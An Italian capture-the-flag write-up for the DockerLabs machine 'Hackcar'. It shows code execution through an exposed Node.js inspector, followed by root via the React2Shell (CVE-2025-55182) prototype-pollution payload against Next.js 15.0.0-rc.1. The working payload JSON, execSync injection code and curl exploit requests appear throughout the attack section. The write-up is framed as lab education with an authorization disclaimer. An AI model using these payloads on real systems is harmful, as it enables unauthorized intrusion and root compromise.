
Writeup: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell)
Piattaforma: DockerLabs Difficoltà: Media (più o meno, ha il suo bel caratterino) Obiettivo: Da
webuserarootrompendo una Next.js
Come sempre, prima le cose prime: vedere cosa ci troviamo davanti.
nmap -sC -sV -T4 172.17.0.2
PORT STATE SERVICE VERSION
8080/tcp open http Node.js (Express middleware)
9229/tcp open http ????
Aspetta... 9229? Quella porta non è normale. E una scansione completa conferma che ci sono solo due porte:
nmap -p- --min-rate 1000 -T4 172.17.0.2
PORT STATE SERVICE
8080/tcp open http-proxy
9229/tcp open unknown
La 9229 è la tipica porta del Node.js inspector (debugger). Se è esposta senza protezione, è praticamente una porta aperta all'esecuzione di codice. Verifichiamolo.
curl -s http://172.17.0.2:9229/json
[{
"description": "node.js instance",
"title": "/home/webuser/node_app/app.js",
"webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]
Cavolo. Il debugger di Node è esposto, senza autenticazione, e per giunta ci dice dove vive l'app. Questo è RCE diretto.
Con il debugger esposto ci basta connetterci al WebSocket e usare Runtime.evaluate per eseguire quello che ci pare dentro il processo di Node.
Mi sono fatto uno script veloce in Python che estrae l'URL del debugger ed esegue comandi con process.mainModule.require('child_process').execSync():
expression = ("process.mainModule.require('child_process')"
f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")
Per non litigare con le virgolette, mando tutto il comando in base64 e lo decodifico dentro il processo stesso. Primo test:
python3 node_rce.py "id"
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)
RCE come webuser. La macchina è in mano nostra... o almeno così credevo. A quanto pare il buono era nascosto più in là.
Guardiamo i processi per vedere cos'altro gira sulla macchina:
ps auxww
root 7 0.0 0.0 sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root 8 0.0 0.0 npm exec next dev -p 3000 -H 127.0.0.1
root 30 0.0 0.0 node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root 42 0.8 2.4 next-server (v15.0.0-rc.1)
Occhio al dato! C'è una Next.js versione 15.0.0-rc.1 in esecuzione come ROOT sulla porta 3000 (solo localhost). Questo sa di privilegio... e di CVE.
Dato che ascolta solo su 127.0.0.1 dentro il container, non possiamo raggiungerla dall'esterno. Ma abbiamo RCE, quindi possiamo entrare dall'interno. Prima vediamo cos'è:
curl -s http://127.0.0.1:3000/
Appare un "Internal Administration Portal" — un portale interno di amministrazione. Tutto molto appetitoso.
La flag di user l'abbiamo trovata subito:
DL{g2QrDUvg3HiqaWeZBbZa}
E ora tocca scalare a root attraverso quella Next.js.
La versione è Next.js 15.0.0-rc.1, che usa React 19 vulnerabile al famoso React2Shell (CVE-2025-55182): un RCE critico (CVSS 10.0) per prototype pollution nel parser RSC (React Server Components / Flight protocol).
L'exploit è un multipart/form-data malformato con l'header Next-Action, che fa sì che il parser di React deserializzi un oggetto avvelenato che finisce per chiamare il costruttore Function con il nostro codice:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B0\"}",
"_response": {
"_prefix": "<CODICE JS DA ESEGUIRE>",
"_formData": {"get": "$1:constructor:constructor"}
}
}
Ovvero: si avvelena Chunk.prototype.then, il parser carica il nostro modello, e al momento di risolvere la promise viene eseguito il nostro JavaScript nel processo di Next.js, che gira come root.
Per estrarre l'output ho usato la modalità "redirect": il codice esegue il comando, fa il base64 del risultato e lo mette nella proprietà digest di un Error, che Next.js restituisce come header:
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;
La richiesta finale:
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
-H 'Next-Action: x' \
-F '0=</tmp/p0.txt' \
-F '1=</tmp/p1.txt'
Il server risponde 500 (è normale, è un errore voluto) e nell'header:
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...
Decodifichiamo:
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
uid=0(root) gid=0(root) groups=0(root)
SIAMO ROOT. E la flag:
python3 react2shell.py "cat /root/root.txt"
DL{Z8Gc5NFYMrH3W4vv5ZWa}
nmap
└─ 8080 (web Express, statica, puro fumo)
└─ 9229 (Node.js inspector ESPOSTO)
└─ RCE come webuser via Runtime.evaluate
└─ Enumerazione: Next.js 15.0.0-rc.1 su 127.0.0.1:3000 come ROOT
└─ CVE-2025-55182 (React2Shell): RCE root
└─ flag: DL{Z8Gc5NFYMrH3W4vv5ZWa}
Flag:
| File | Flag |
|---|---|
/home/webuser/user.txt | DL{g2QrDUvg3HiqaWeZBbZa} |
/root/root.txt | DL{Z8Gc5NFYMrH3W4vv5ZWa} |
| # | Vulnerabilità | CWE | Cosa ci ha dato |
|---|---|---|---|
| 1 | Node.js inspector senza autenticazione (porta 9229) | CWE-284 | RCE come webuser |
| 2 | Next.js 15.0.0-rc.1 non aggiornata (React2Shell, CVE-2025-55182) | CWE-1321 / CWE-502 | RCE come root |
Lezioni:
| Strumento | Uso |
|---|---|
nmap | Riconoscimento delle porte |
curl | Enumerazione web e lancio dell'exploit |
websocket-client (Python) | Parlare con l'inspector di Node |
jadx | La macchina precedente (non qui, ma continua a sembrarmi bello) |
base64 | Trasportare payload senza problemi con le virgolette |
Writeup a scopo educativo. Tocca solo macchine per cui hai l'autorizzazione (DockerLabs, HTB, il tuo laboratorio personale).